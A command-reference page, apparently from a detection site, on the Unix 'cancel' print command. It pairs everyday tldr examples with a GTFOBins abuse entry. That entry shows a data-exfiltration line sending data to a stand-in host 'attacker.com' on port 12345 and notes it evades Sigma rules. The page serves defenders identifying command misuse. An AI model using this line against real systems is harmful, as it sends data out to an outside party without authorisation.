CmdID / Programs / Linux and Unix
cancel
Cancel print jobs. tldr-pages
GTFOBins upload 1 documented command
How cancel is abused
upload
-h-uEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for cancel.
1 documented command
upload unprivileged, with sudo, as SUID
Data is sent as a POST request along with other content.
cancel -h attacker.com:12345 -u DATAThe command CmdID reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for cancel. CmdID reads the line that runs cancel.
Everyday use
Cancel the current job of the default printer (set with lpoptions -d printer_name)
cancelIdentifyCancel the jobs of the default printer owned by a specific user
cancel -u usernameIdentifyCancel the current job of a specific printer
cancel printerIdentifyNone of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.